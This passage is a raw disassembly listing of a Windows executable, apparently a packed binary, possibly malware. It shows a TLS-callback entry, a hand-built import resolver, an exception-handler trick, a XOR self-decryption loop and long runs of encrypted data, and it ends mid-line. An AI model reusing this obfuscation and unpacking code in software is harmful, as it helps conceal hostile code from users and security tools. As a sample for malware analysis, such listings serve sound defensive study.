2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_42ED53: ; CODE XREF: lsqvqpii:0042D64Bj rol esi, 17h ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42ED56: ; CODE XREF: sub_42E407:loc_42CE64j sbb eax, esi jmp loc_42CFBA ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- popf jmp sub_42E930 ; --------------------------------------------------------------------------- align 4 dd 0E9EB8B00h, 0FFFFEC85h, 42CB9068h, 0E92FE900h, 0C681FFFFh dd 0E36662FCh, 59240C87h, 25A16857h, 0C8708A4h, 0E9F98B24h dd 0FFFFE3B4h, 0C5030000h, 42D43868h, 0DF0CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB44 loc_42ED9E: ; CODE XREF: sub_42EB44:loc_42D5ABj mov byte ptr [eax], 8Ah pop eax add edi, 76275B16h add edi, ebp jmp loc_42D15E ; END OF FUNCTION CHUNK FOR sub_42EB44 ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: lsqvqpii:0042D90Dj call sub_42ED34 add cl, ch mov al, 0F6h ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; =============== S U B R O U T I N E ======================================= sub_42EDBB proc near ; CODE XREF: sub_42D877:loc_42EA92p ; FUNCTION CHUNK AT 0042CF43 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042CF9D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D810 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DF60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E722 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E7D7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EBA5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042EC22 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_42EBA5 jno loc_42CF43 push offset loc_42E868 jmp loc_42D810 sub_42EDBB endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42EDD7: ; CODE XREF: lsqvqpii:loc_42D870j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF38 loc_42EDDA: ; CODE XREF: sub_42CF38+5j jmp loc_42E650 ; END OF FUNCTION CHUNK FOR sub_42CF38 ; --------------------------------------------------------------------------- align 10h locret_42EDE0: ; CODE XREF: lsqvqpii:0042D8B3j retn ; --------------------------------------------------------------------------- loc_42EDE1: ; CODE XREF: lsqvqpii:0042D682j jmp loc_42CA86 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42EDE7: ; CODE XREF: lsqvqpii:0042E3EEj add edx, 0BCCF7ABh push offset loc_42D0EE jmp locret_42D9E4 ; --------------------------------------------------------------------------- align 4 dd 0A0D78100h, 0E9831959h, 0FFFFFFB7h, 0C0F70000h, 0D05CC54Eh dd 0FFFD6FE9h ; --------------------------------------------------------------------------- inc ebx loc_42EE12: ; CODE XREF: lsqvqpii:0042DCC0j jmp loc_42DE92 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFEA53h, 14870000h, 5A585224h, 5A32C081h, 0E8818A0Eh dd 228969A2h, 0A75BF081h, 1DE9DB62h, 0FFFFECh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EE3C proc near ; CODE XREF: sub_42DCC5+Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042EF94 SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_4173C8 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_42EE54: ; CODE XREF: sub_42EE3C+15Ej mov eax, [esi+0Ch] or eax, eax jz loc_42EEED add eax, edx mov ebx, eax push eax call ds:dword_4210B4 ; GetModuleHandleA or eax, eax jnz loc_42EE81 push ebx call ds:dword_4210B8 ; LoadLibraryA or eax, eax jz loc_42EEE5 loc_42EE81: ; CODE XREF: sub_42EE3C+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_42EE89: ; CODE XREF: sub_42EE3C+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_42EE99 mov eax, [esi+10h] loc_42EE99: ; CODE XREF: sub_42EE3C+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_42EF94 test ebx, 80000000h jnz loc_42EEC0 lea ebx, [ebx+edx+2] loc_42EEC0: ; CODE XREF: sub_42EE3C+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_4210BC ; GetProcAddress or eax, eax jz loc_42EEE5 mov [edi], eax add [ebp+var_C], 4 jmp loc_42EE89 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_42EEE5: ; CODE XREF: sub_42EE3C+3Fj ; sub_42EE3C+96j push ebx mov eax, ebx call sub_42EEF4 loc_42EEED: ; CODE XREF: sub_42EE3C+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_42EE3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EEF4 proc near ; CODE XREF: sub_42EE3C+ACp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_42EF2B: ; CODE XREF: sub_42EEF4+99j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_42EF6C mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call dword ptr ds:21104h push 0FFFFFFFFh call ds:dword_4210C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 loc_42EF6C: ; CODE XREF: sub_42EEF4+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_42EF2B sub_42EEF4 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42EE3C loc_42EF94: ; CODE XREF: sub_42EE3C+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_42EE54 ; END OF FUNCTION CHUNK FOR sub_42EE3C ; --------------------------------------------------------------------------- align 10h db 0 ; =============== S U B R O U T I N E ======================================= sub_42EFA1 proc near ; CODE XREF: sub_42DCC5+4p ; lsqvqpii:0042F0A4p ... mov eax, offset loc_42CA86 locret_42EFA6: ; DATA XREF: lsqvqpii:0042EFAFo retn sub_42EFA1 endp ; --------------------------------------------------------------------------- push ebx push ecx push esi push edi push eax mov ebx, [esp] sub ebx, offset locret_42EFA6 mov eax, 1D5Ah push eax push 4 push 1000h push eax push 0 mov eax, offset dword_4210C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset loc_42CA86 add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_42C902 add ecx, ebx call ecx pop eax mov ebx, [esp] push 8000h push 0 push eax mov eax, 4210C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_42F05C mov ebx, eax call loc_42F0BD cld lodsd cmp eax, 0FFFFFFFFh jz short loc_42F05C push ebx mov ebx, ecx loc_42F027: ; CODE XREF: lsqvqpii:0042F038j ; lsqvqpii:0042F04Bj ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_42F03A and eax, 0FFh jmp short loc_42F027 ; --------------------------------------------------------------------------- loc_42F03A: ; CODE XREF: lsqvqpii:0042F031j add ebx, 0FEh or eax, eax jp short loc_42F04D lodsw and eax, 0FFFFh jmp short loc_42F027 ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: lsqvqpii:0042F042j lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_42F027 pop eax loc_42F05C: ; CODE XREF: lsqvqpii:0042F014j ; lsqvqpii:0042F022j pop edi pop esi pop ecx pop ebx retn ; --------------------------------------------------------------------------- db 75h, 2Eh, 0Fh dd 0BC95054Eh, 94C5EE1Ah, 0FAB2592h, 0E928BF64h, 0E35C860Eh dd 23B6F950h, 0E008ED1Eh, 1D59E15Fh, 0B55B439Ch, 287C887h dd 7ADB49D3h, 7CDE19A9h, 0C1A5BBA0h, 1226EAF4h, 7AA2C2BAh dd 0FEDC2910h ; --------------------------------------------------------------------------- db 2Eh ; DATA XREF: starto call sub_42EFA1 add eax, 1347h jmp eax ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: lsqvqpii:TlsCallbackso call sub_42EFA1 add eax, 138Ah jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_42F0BD: ; CODE XREF: lsqvqpii:0042F018p call sub_42F0C6 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_42F0C6 proc near ; CODE XREF: lsqvqpii:loc_42F0BDp pop esi retn sub_42F0C6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_42F0C9 proc near ; CODE XREF: sub_42F0DC+2Ep pusha push ebp mov ebp, esp call sub_42F0DC call sub_42F17A jmp loc_42F133 sub_42F0C9 endp ; =============== S U B R O U T I N E ======================================= sub_42F0DC proc near ; CODE XREF: sub_42F0C9+4p var_8 = dword ptr -8 push dword ptr fs:0 mov fs:0, esp xor ecx, ecx push 80000000h push ecx push ecx push ecx push 80000000h push ecx push 800h push ecx push 1000h push ecx push ecx push 80000000h call sub_42F0C9 add [ecx], dh rcl byte ptr [edx+52h], cl push edx push 80000000h push 4 push 80000000h push 80000000h push edx push edx push edx push edx call ds:dword_4210B4 ; GetModuleHandleA loc_42F133: ; CODE XREF: sub_42F0C9+Ej sub edx, edx sub ecx, ecx mov cl, 16h loc_42F139: ; CODE XREF: sub_42F0DC+5Fj inc edx dec ecx jnz short loc_42F139 call sub_42F177 sub ecx, 0FFFFFFBBh push ecx mov esi, 243Ch loc_42F14E: ; CODE XREF: sub_42F0DC+7Fj xchg al, [ecx] xor ax, dx xchg al, [ecx] inc ecx inc edx dec esi cmp esi, 0 jnz short loc_42F14E pop ecx xchg ebp, fs:0 mov esp, ebp pop dword ptr fs:0 lea ebp, [ebp+8] leave mov [esp+20h+var_8], ecx popa jmp ecx sub_42F0DC endp ; =============== S U B R O U T I N E ======================================= sub_42F177 proc near ; CODE XREF: sub_42F0DC+61p pop ecx push ecx retn sub_42F177 endp ; =============== S U B R O U T I N E ======================================= sub_42F17A proc near ; CODE XREF: sub_42F0C9+9p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_42F17A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 86h, 0FFh db 18h, 19h, 1Ah dd 3A19971Bh, 60AA0E8h, 26252423h, 0B2A0A827h, 2E2D0587h dd 36156CA4h, 6FC91947h, 138988BEh, 86B43C3Bh, 4241698Bh dd 626AFCC3h, 3FA14847h, 7ED54F46h, 0D951506Bh, 65AA5608h dd 0C2D250BCh, 5E5D786Ah, 373A53A0h, 4209E5F6h, 6A696D63h dd 6E8EED6Bh, 0F38E8F9Fh, 3665729Eh, 5E05F377h, 42C8F17Fh dd 3B81C04Bh, 86858483h, 0F1082C74h, 0E7E5D8C5h, 199CE5FCh dd 9218A8D0h, 0A218FE8Fh, 96E9D9CBh, 0A3A14B1Eh, 44D0A4A3h dd 0A9D1F82Ch, 8EDF2778h, 0B1A9FA24h, 0B518E540h, 45C13974h dd 0CAD8FBBBh, 0BA40DBCAh, 0A9B794C0h, 4BDBBDA4h, 0AA8CCBB3h dd 0DBA4A2ABh, 0B3DEAC52h, 0AED9ABA4h, 870A3EDEh, 0EEC82382h dd 0C2976FC7h, 0E51AEBBEh, 65A3E85Ch, 9F2EC95h, 0F572C078h dd 0FAF51004h, 92BEFCFBh, 4A647390h, 6A616A62h, 0F55A0862h dd 328885DDh, 0FA11503Ah, 1615141Eh, 7B7C6A54h, 6858796Fh dd 63554E7Ah, 0F0DA7723h, 1F69ADAEh, 23C52C6Bh, 7531302Fh dd 57794056h, 487C4C44h, 3E4F5349h, 0CB97BF6Ch, 67000C6h dd 4A39A047h, 8EC84C4Bh, 0AD01713Bh, 166010C6h, 2F99DD57h dd 8CD8D14Bh, 0E861204Eh, 88D9B33h, 81696867h, 52F89317h dd 8571305Ah, 364145F6h, 7A797877h, 0F36308FBh, 0C2B5B5CAh dd 0A2F90F83h, 12C2C83h, 0CEB43E16h, 24241B8Fh, 1D95D4AAh dd 0DAA0222Ah, 0C45EC19Bh, 0A2CBA0F5h, 0A6CFA4C9h, 0AEA9A9CFh dd 0C46927ABh, 0BEDBE0AFh, 544A7038h, 89E6ECE1h, 778EBCBBh dd 3D3E1A57h, 6750493Ch, 98C988D6h, 319D9D9Ah, 92E4905Ah dd 0F61157D3h, 632B5214h, 0DEDDFE84h, 0E0A1F0EFh, 251C0635h dd 2E94078Bh, 1A65B04Eh, 434D990Ch, 211D88A3h, 0BE745C92h dd 0CF3E208Bh, 66B9B8EEh, 13C7F1E0h, 4BDEC436h, 7A45A945h dd 0DE788EDCh, 2BF7A8Ch, 0B00B7B5h, 2A957995h, 0EC25Dh dd 0F21E9BF6h, 0DB784527h, 0DAE505D3h, 83B249C2h, 0ABEE4863h dd 0BF9A97Ah, 94C4E00Bh, 26BA92F7h, 0C7122793h, 8E519153h dd 355A38BAh, 76E9C82Bh, 967A23C3h, 1D42B47Dh, 6A8500C3h dd 0D69CE5F7h, 9A4D9806h, 2EB16DA9h, 0F1A70B1h, 0D60989C7h dd 0A692C8E6h, 811EAA46h, 0CA802D9Ch, 6D794C4Fh, 985901BCh dd 0A3506407h, 0FAC500BBh, 0A4AA49E2h, 0E70E6843h, 0F202D628h dd 0C0A94B4Bh, 1F199F37h, 28B08D7Eh, 4582C4E7h, 0DAC4C90h dd 0ACE82DFh, 0E25EA0F4h, 2BDE9476h, 0AB5559Bh, 2319881Ch dd 70E9F7D3h, 996EDBB9h, 0BBAF5091h, 0F66D9C47h, 2BD40C3h dd 0CB3E7496h, 0EA55B57Bh, 82962CFAh, 8D32A636h, 0C661848Dh dd 1A61F05Bh, 0BE083CE5h, 0A377DFEFh, 0FE60BC67h, 0DF4A208Ah dd 66B9B98Fh, 13AD32BBh, 9EC41B87h, 9205D00Eh, 36A95CEAh dd 3D83BC6Ah, 0C701DEA8h, 20BF4A08h, 0F3E5B940h, 43E69833h dd 1E4CC7E4h, 0DAA570AEh, 683E7840h, 6435B7DCh, 70A114F7h dd 0C639A41Fh, 0AE2C331Fh, 0DFED38A6h, 0CE06D772h, 0B78CE37Bh dd 36DCCC12h, 113619C3h, 0DE43B2FFh, 922883ABh, 86192CCAh dd 0C4E5C3Ch, 0AB3AFB98h, 9AA5450Fh, 5948CCF0h, 62AE9DE6h dd 9664DFB7h, 3535E03Eh, 63F60D2Fh, 926D8BB1h, 7B09E18Ch dd 8A7A10FBh, 5FAC536Eh, 0C9FD2830h, 5EB4E85Ah, 555C236Bh dd 0C356AD4Eh, 32CD2B05h, 118C364Fh, 14983DE4h, 9D893CF9h dd 145DA26Ch, 0BA516BAEh, 60F68148h, 0F1C04FDFh, 0CA07F879h dd 1B0E91CAh, 0A67C50BBh, 7D699C2Fh, 4FB9A597h, 0A13E8B69h dd 0EE982B4Dh, 699EC32h, 0FF663EB3h, 9C9A80A0h, 0B1035CBFh dd 56A3C76Dh, 0A274468Bh, 94AD5F37h, 2071AB8Bh, 66F9E4DFh dd 52C730D3h, 0C03BB6D6h, 9A906F6Bh, 6EA91CDAh, 0AA3D2C00h dd 9E01DD99h, 2ABF9460h, 8633E034h, 0B0679819h, 6F12E75h dd 0DAA55955h, 0FC58FC25h, 0F72218DCh, 3EE12113h, 75F0B914h dd 0DB9E4810h, 0E760876Ch, 8E51B4C7h, 3A4FA4C2h, 850697AFh dd 82D02966h, 5341B407h, 2A814C2Eh, 0BF993FFh, 0B25538A6h dd 0BB4E5667h, 9AA54547h, 0D649AAE7h, 4DF24463h, 2E9121DCh dd 0A343C979h, 831E6933h, 0E741D905h, 1ED12562h, 0CFCD8544h dd 33A0DC2Fh, 42BD5D4Fh, 3EEB6087h, 3FAA3F01h, 469999D3h dd 47D2D876h, 0EC1B5298h, 8EAEE64Dh, 0FEDB7DA5h, 0E25DC8B2h dd 0DB65F124h, 5A9215A9h, 0CF4F25EDh, 0B70A9D7Fh, 9B6E7247h dd 0BA8565B7h, 0A03F58A4h, 55EB7815h, 6B11E168h, 2E96806Bh dd 9366BB6Fh, 728D6D8Fh, 0AC5B848Dh, 2F1565A4h, 7E703CCFh dd 351D88E2h, 0F2E8351Ch, 0B5E274AFh, 26CC204Ah, 915B0BD3h dd 8E67D822h, 2D51903Bh, 319C910h, 2F8E8C3h, 1D47E823h dd 0C4A74415h, 0CE7D5840h, 98679819h, 5B59D1D8h, 1A2030DBh dd 7E9A203Bh, 62DD4C1Eh, 0DD30DDC4h, 0B6F0D97Bh, 53B98C29h dd 0FC2CF9BBh, 0DE11A4CAh, 6B13802Fh, 89BA4CFFh, 0C208C056h dd 87817117h, 1E6A0FDFh, 39664DBh, 0F20DEE0Fh, 0D14CA88Fh dd 0F1A2324h, 0D6098933h, 0E61C9088h, 7EE1559Fh, 0F6A05F5Ch dd 0F794C6Ah, 6DD243B6h, 16D12D8Ah, 348548E3h, 0D329DC46h dd 43FD680Eh, 1E8134D7h, 0AA55C06Bh, 17D9AC3Fh, 0A7724BA5h dd 0EE31F1EFh, 0DE89E9B0h, 0F472090Fh, 0A0010B4Dh, 0F044E716h dd 6E900DAAh, 0C3532ED0h, 8E1E8C70h, 51A31710h, 0CEB739ADh dd 85059C5Ah, 67D15A37h, 2C8274F9h, 8F61E14Eh, 63F58539h dd 8E58F2h, 0CB45E582h, 7F09991Dh, 26B95DC2h, 0E37AE68Ah dd 9B139737h, 1AD054EAh, 39AE3ADh, 12EC4BA0h, 0AF3496C4h dd 1F57F54Fh, 53DD3382h, 0A70F80D7h, 0DD01D036h, 5EB42599h dd 0B43178DAh, 0B269F916h, 0F943664h, 0B5F155EFh, 0F3619020h dd 50EE384Fh, 4EC07AA4h, 0FE1A8838h, 4FC1891Fh, 20852CE7h dd 8E75C5A2h, 5F29B93Dh, 138475FBh, 0FB6EC797h, 0B3248064h dd 0FF869FFh, 0F27C2BFFh, 9721B175h, 5CC57026h, 0EE9012B2h dd 0D608CF6Ah, 64E96D24h, 2D8438DEh, 0CA50DA62h, 0A00D6918h dd 0C648D43Ah, 4EB4096Eh, 0B7F175FCh, 0DA5CB800h, 2C9C2066h dd 5FE458B3h, 0DE30876Bh, 36B4C96Bh, 57E171B5h, 8B1CA5E9h dd 3F62B05Ah, 7BEC28BBh, 963C98D3h, 0F921D51Fh, 6FA314AEh dd 0C9503FEDh, 0B72AF87Dh, 7CF47233h, 0D4AA3988h, 0F628E46Ah dd 66DC470Fh, 2CA31DDBh, 0AB6CF24Ah, 76F8A17Fh, 5A831E5h dd 0C777E2A8h, 55659537h, 10A759FFh, 0EF78E48Ah, 9711A456h dd 4AF447E5h, 89CFC90h, 71C24A83h, 0CE2297E2h, 196AE26Bh dd 5DA2F8Ah, 0B014AEB1h, 0CE01C024h, 4FB62F99h, 0F46A5FCCh dd 0C675FD3Dh, 1A941727h, 0BFC959DDh, 0E47D880Eh, 16A82A4Ah dd 3EE06792h, 0CC018518h, 72DCA076h, 528815FAh, 0EB74C894h dd 4316D00Bh, 1B8C68DCh, 0E750C197h, 0B7079B43h, 3C165C7h dd 0D3190992h, 822CB55Dh, 59D46D31h, 0F3A31694h, 8049D963h dd 57E97A0Ah, 12A038D6h, 0CA56CF67h, 92107E08h, 0FE44FE36h dd 3A9F6462h, 8FEF74FAh, 0C479A81Ch, 2E941E6Ah, 6DE453B2h dd 0CF3EAF3Fh, 3297AC51h, 53E86AB0h, 8737A1D3h, 1425D577h dd 73FB3FBBh, 0B238BCC2h, 0DB42FB05h, 44F513B8h, 0C34B0FEBh dd 82088C72h, 6BF24B35h, 0C2802388h, 0B51DD22Fh, 76DC4D31h dd 3DA427F2h, 847AE95Fh, 4BEDA27Fh, 1B9B28D2h, 0C87EF382h dd 6E069508h, 56A753E6h, 0D252FCADh, 9727BA52h, 4B545E7h dd 389C3ABh, 7DDF68BDh, 0BD2281E4h, 1F6EFF6Fh, 42E75C81h dd 0B6129AD3h, 0C875D732h dd 5FA13282h, 0A31440DEh, 0CB7FF71Eh, 39850A27h, 0BFD159E9h dd 0E27B9519h, 2FB12956h, 4CCE7992h, 0FE27E032h, 4FD79973h dd 378917F0h, 0E763D094h, 5511B715h, 1F9A72EEh, 0EB4FDC90h dd 89419379h, 1EC641F8h, 0F36D1E9Eh, 9E2ED843h, 5DD47708h dd 0FF8E13B4h, 0B92ABC7Bh, 41F8660Dh, 1B8654C3h, 0B95AC87Fh dd 88006E2Bh, 9248D532h, 38B20175h, 94E063BBh, 0D95ADC0Bh dd 36980360h, 6AEF7DD7h, 0CF3BB20Eh, 29B5EF4Bh, 53C57D80h dd 8B1DA0C9h, 2E4BF91Bh, 73E70EAAh, 96388FD7h, 0D04FFB34h dd 6F8103AEh, 0C74D1FFBh, 9B6D9D67h, 7CF45029h, 0F5B13595h dd 0B707F95Fh, 76D36143h, 3BAF06F2h, 8F65CF5Fh, 6AEBB911h dd 1C8458F2h, 0C043E193h, 7F37843Eh, 3F8F58EEh, 0E31DED8Fh dd 0AE208273h, 648713C2h, 66B5C09Bh, 51CA5D81h, 0AB228BEBh dd 7A7CF570h, 79CE39BDh, 89138DF3h, 0E644CD32h, 4F8740AAh dd 0A32C7DD8h, 0D35BE101h, 2B94314Bh, 88A571E3h, 0F35A9B2Ah dd 0EBC1E57h, 46E47182h, 63F6E00Ah, 7771E71Ah, 52ED78FBh dd 0AA5D292Fh, 5045BA78h, 25B94DAAh, 4EB6ADA9h, 8E957F47h dd 3BD56AFFh, 13E63FADh, 0F20DEDC3h, 0D1BDC0E4h, 0DAD0844Eh dd 0DE8D3F0Fh, 0A7105FA0h, 7EA14106h, 0A0655F38h, 1977665Fh dd 0D2181CC6h, 4111E107h, 0FA85803Fh, 78418C6Fh, 0C9FD686Ah dd 95815E03h, 0C215AAA7h, 46C9AC3Fh, 58DF1A99h, 87BFACA7h dd 5A4FB01Bh, 0E9D92F9Eh, 0A2682C36h, 4178CB77h, 4AC05C5Eh dd 0D2C6C99Fh, 5AE0734Fh, 0ED916452h, 0BA50DDF7h, 0F569DC3Fh dd 0FDEE7F92h, 8A44FF45h, 6715C01Eh, 6BA78F0h, 8D99B0B3h dd 2BBA7B18h, 1A25C5B3h, 7528B302h, 0E1F588E3h, 759E2BC8h dd 0A80F80Eh, 8E7601DFh, 0FAAD38F0h, 31AE1BB5h, 4FD915B0h dd 0F62C5CAFh, 4DF0E3F7h, 9E0197A2h, 0D52A5D03h, 999EA740h dd 0B2E5CDB0h, 33F14427h, 0C0B1DD1Ah, 5F3AFC0Fh, 7F73CDAEh dd 6AF014B7h, 0DB25B11Ah, 4A2C334Eh, 0D5ED38A6h, 1BEE80C3h dd 3A05E547h, 76EDDEF2h, 823D4096h, 5F1CF417h, 2A8F4346h dd 0BE606FFh, 0B257D6A6h, 0E3E35467h, 0B0E554FBh, 0DA8D3F0Fh dd 7618CF05h, 0B3E114ADh, 9CB0672Bh, 0C2794C45h, 0CF2D9253h dd 24D00EC4h, 5B6EFBAh, 0A3D6D81Ch, 0B289A886h, 1E813FBFh dd 0F1854B6Bh, 0CBE5FC3Ch, 72976A46h, 0E2CB4FA7h, 0D125B01Ah dd 16887445h, 0C9A5CBA3h, 75AAF4BCh, 7E94C638h, 53DB0B9Ah dd 15EE3AF8h, 0DA1A7348h, 0EA09DBA8h, 0A729F67Bh, 0FD424211h dd 1EF48402h, 0E6D1032Bh, 33ED79F4h, 0A5E658F3h, 69366E64h dd 0F2659A5Ch, 559EB58Fh, 0FA07E220h, 0FE61DDDFh, 2BF7AD8Bh dd 13307275h, 87C4FB23h, 0CE11D2C1h, 720D143Eh, 703CD5ADh dd 357DA8B5h, 765477B5h, 2AD540EBh, 0CFB4ADE2h, 390DD868h dd 2EC70EBAh, 0FED9B39Bh, 1206FC47h, 62DD489Ah, 3CA9F876h dd 0E221E04Bh, 26B9CD1Bh, 677DED6Ch, 729AA487h, 3E6154F6h dd 26E91CAEh, 86D5A8A9h, 8841F417h, 3D9554F9h, 0B395F900h dd 3B7ED873h, 2FB593EAh, 0CBB470DBh, 0BC18BE65h, 229D6062h dd 81B314B7h, 8A00FC9Eh, 10FC9A5Fh, 0C67DE327h, 4ED0606Fh dd 4E7A47BBh, 0B62BFC4Bh, 6A689703h, 478174E1h, 0BC2100EEh dd 0CD89B8DCh, 608D7227h, 112793F6h, 1A107C8Eh, 0D60C25CFh dd 1D0B18D6h, 0FE14A8E2h, 4EA2EDCBh, 0E2531BCDh, 0D6FA754Bh dd 0A5912446h, 0AAAF90C8h, 0A6C26F76h, 52ED7813h, 0A19324C7h dd 0AA20E4BEh, 0E5D6D7Fh, 8DCD58B1h, 5139A093h, 5A53E8CEh dd 0C3366F8Fh, 0A25DBEFBh, 0FE65166Ah, 3FBF1E0Bh, 0EB72CADEh dd 12ED2D57h, 5BDCFD64h, 7A45803Bh, 0C9FF8DECh, 0CDBD6C51h dd 9E00ABDFh, 3A514FEBh, 46592CBEh, 0A278A24Dh, 6ECFC461h dd 0DBA4B494h, 0A889FC4Fh, 242C3D03h, 77F12A76h, 0C800A705h dd 607F0394h, 9CC63792h, 0DF11CE96h, 0AFBA832Dh, 76A92ABFh dd 8DFC939Ah, 0DE412B92h, 0C8108DABh, 0EC192CE2h, 0F241B033h dd 7DE10467h, 0ACF5E524h, 0DA74BC4Fh, 2D9D0863h, 7EE1EB32h dd 0CA84490Bh, 0D8F80C5Fh, 0C464EA03h, 4E74E108h, 3C0610BBh dd 0BB157067h, 4264EC0Ch, 3EBD34D7h, 96F9331Eh, 0CA5CA305h dd 9F8D18F3h, 0CE51E4AAh, 3D048D3Bh, 69FC08AAh, 977DF40Fh dd 415F150Bh, 7E8108EBh, 0D8B83DEAh, 0FD578810h, 0C8F95168h dd 0B5C5AFBCh, 0D179261Eh, 0E04A2843h, 0E2548BC5h, 0D915C01Eh dd 56C9BCBFh, 72C4B0E3h, 0C17584E7h, 75099E2Ch, 0A9C958EEh dd 0E22BA876h, 8AA15137h, 0C37C13BDh, 26CFC65Ah, 12C569D3h dd 9FD1E485h, 8555C66Ah, 769F787Ah, 0C1E86583h, 0CE01F44Ch dd 7B8189D8h, 97087EEFh, 87610D8Ch, 6A764467h, 0E630CFBFh dd 6E09BC7Ah, 1550C8E0h, 3FA154E2h, 0C52623B2h, 67EE9859h dd 1FB13DC1h, 0E163C7AEh, 4E23BF08h, 18804BF3h, 0F14AC7A7h dd 0AC34B74Bh, 1EFB65D9h, 0F56B09A9h, 0AE23B75Ah, 42C17C22h dd 0E88002B4h, 0A428E80Fh, 6AE96D04h, 7E9527D8h, 3ACAA009h dd 6C33F307h, 0EA42CA23h, 27FF096Eh, 9BE273C9h, 0CF51BD03h dd 4291182Dh, 55C27D99h, 0CB2DA84Bh, 2DBBC359h, 61D8129Fh dd 9B5196E2h, 6F15822Bh, 38A94DFFh, 0D87DE683h, 0F76EDE5Ah dd 7CD34085h, 0D34D3EF6h, 0D285AD19h, 53912447h, 0A771BD7Ah dd 73AF9C6Fh, 2FD3D34h, 0CA548B97h, 2B15C01Eh, 3AEDF397h dd 0C74646D9h, 0AE71B1B7h, 34595C02h, 0D7AF16FAh, 0D70077DDh dd 0BEDC5914h, 0C1B560BDh, 0C3AE8EA9h, 97209DB5h, 0CE11D7EDh dd 499515B4h, 0BF535CAFh, 8CF112C5h, 9FB04FA9h, 693E8F09h dd 0D3E8A932h, 0D85D9833h, 91FF2E27h, 9A90940Eh, 0B2757F4Fh dd 49A84C2Bh, 3EA1101Fh, 0C933B34Bh, 0AE2C331Fh, 0BAED38A6h dd 71EE588Fh, 3A45D793h, 35AF4FAFh, 826EE79Ch, 0EBC961E8h dd 5B7D00EBh, 6EE69303h, 0DB22B65h, 3DB28998h, 910D709Bh dd 8349BC0Fh, 11CF4D30h, 32A57A85h, 5FCAA047h, 0E63939C3h dd 922DB2BBh, 3EA21307h, 8EEB79C9h, 0E6299D09h, 77B5FDFCh dd 9B083497h, 0AA15F53Fh, 0CB549D30h, 32CD0013h, 0D837412Eh dd 0A574B05Bh, 56BCE05Ah, 0E6355BA3h, 33219477h, 4AED8D7Eh dd 1BB4159Fh, 0D22DCE3Fh, 0F167F2AFh, 3F023604h, 0F6298148h dd 0A73ED8BCh, 5E8169FEh, 0CD800D2Bh, 5699AC62h, 18CC32E7h dd 0AC59D6E7h dword_43005C dd 0E5E5F05Bh, 16FF0C1Ah, 0F8DD0DE3h, 73ECF642h, 4AF53DD1h ; DATA XREF: .data:0041A720o dd 0EBFFE68Dh, 52B05F66h, 9E07B087h, 8557C16Bh, 